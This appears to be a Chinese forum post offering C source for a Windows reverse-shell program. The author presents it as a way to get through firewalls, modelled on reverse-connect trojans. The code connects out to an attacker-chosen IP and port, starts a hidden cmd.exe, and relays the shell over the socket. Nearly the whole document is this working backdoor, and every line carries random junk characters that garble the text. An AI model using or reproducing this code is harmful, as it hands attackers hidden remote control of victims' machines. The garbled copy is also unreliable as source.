这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KXrjqqXs
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/* ============================== Q/?$x*\>
Rebound port in Windows NT ^pS~Z~[d/
By wind,2006/7 8(De^H lO
===============================*/ LP-o8c
#include ta0|^KAA
#include IgzQr >
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#pragma comment(lib,"wsock32.lib") NHt\
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void OutputShell(); 3^ClAE"8
SOCKET sClient; d5b%
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "tZe>>I
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void main(int argc,char **argv)
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{ ;"I^ZFYX
WSADATA stWsaData; @iiT<
int nRet; Q59suL
SOCKADDR_IN stSaiClient,stSaiServer; #Y!a6h+
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if(argc != 3) }\f0 A-
{ !Cs_F&l"j
printf("Useage:\n\rRebound DestIP DestPort\n"); x^ni1=kU
return; `^vE9nW7
} Iv *<La
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WSAStartup(MAKEWORD(2,2),&stWsaData); # _1`)VS
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (:_$5&i7
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stSaiClient.sin_family = AF_INET; b>|6t~}M
stSaiClient.sin_port = htons(0); Xvv6~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hxx.9x>ow
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EnR}IY&sI
{ M}a6Vu9
printf("Bind Socket Failed!\n"); <%d>v-=B
return; >z03{=sAN
} \zY!qpX<
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stSaiServer.sin_family = AF_INET; 8}[).d160
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0[`^\Mv4y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _#niyW+?~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .H|-_~Yx|
{ 97]E1j]
printf("Connect Error!"); "[k3kAm
return; +TJCLZ..
}
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OutputShell(); f 2.HF@
} 3<!7>]A
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void OutputShell() 'V {W-W<
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char szBuff[1024]; r"
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SECURITY_ATTRIBUTES stSecurityAttributes; *g%yRU{N
OSVERSIONINFO stOsversionInfo; +nL[MSw
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vt8By@]:
STARTUPINFO stStartupInfo; TxD#9]Q`
char *szShell; +2{Lh7Ks
PROCESS_INFORMATION stProcessInformation; vQCy\Gi
unsigned long lBytesRead; Nc`L;CP
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +rd+0 `}C
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oxs#866x
stSecurityAttributes.lpSecurityDescriptor = 0; W4S,6(
stSecurityAttributes.bInheritHandle = TRUE; XTyxr
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CrLrw T
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HtFDlvdy]
C _Dn{
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wT@og|M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $i&zex{\
stStartupInfo.wShowWindow = SW_HIDE; dH!*!r>
stStartupInfo.hStdInput = hReadPipe; 3w=J'(RU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CTb%(<r
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GetVersionEx(&stOsversionInfo); s AkdMo
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switch(stOsversionInfo.dwPlatformId) .nJz G
{ s<Ziegmw|g
case 1: Ac@VGT:9
szShell = "command.com"; 7dWS
break; K0~rN.C!0
default: Tk}]Gev
szShell = "cmd.exe"; DQ3<$0
break; M]^5 s;y
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !0+JbZ<%r|
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send(sClient,szMsg,77,0); dd;~K&_Q/i
while(1) 1zv'.uu.,
{ 4RO}<$Nx}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]^E?;1$f?
if(lBytesRead) sC'`~}C
{ }vuO$j
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C+$#y2"z#n
send(sClient,szBuff,lBytesRead,0); Ui~>SN>s
} 79gT+~z
else [,Gg^*umS
{ ';CNGv -
lBytesRead=recv(sClient,szBuff,1024,0); QRUz`|U
if(lBytesRead<=0) break; ^qs $v06
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d{?LD?,)
} q V=!ORuj
} vh^VxS
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return; e'~3oqSvR
}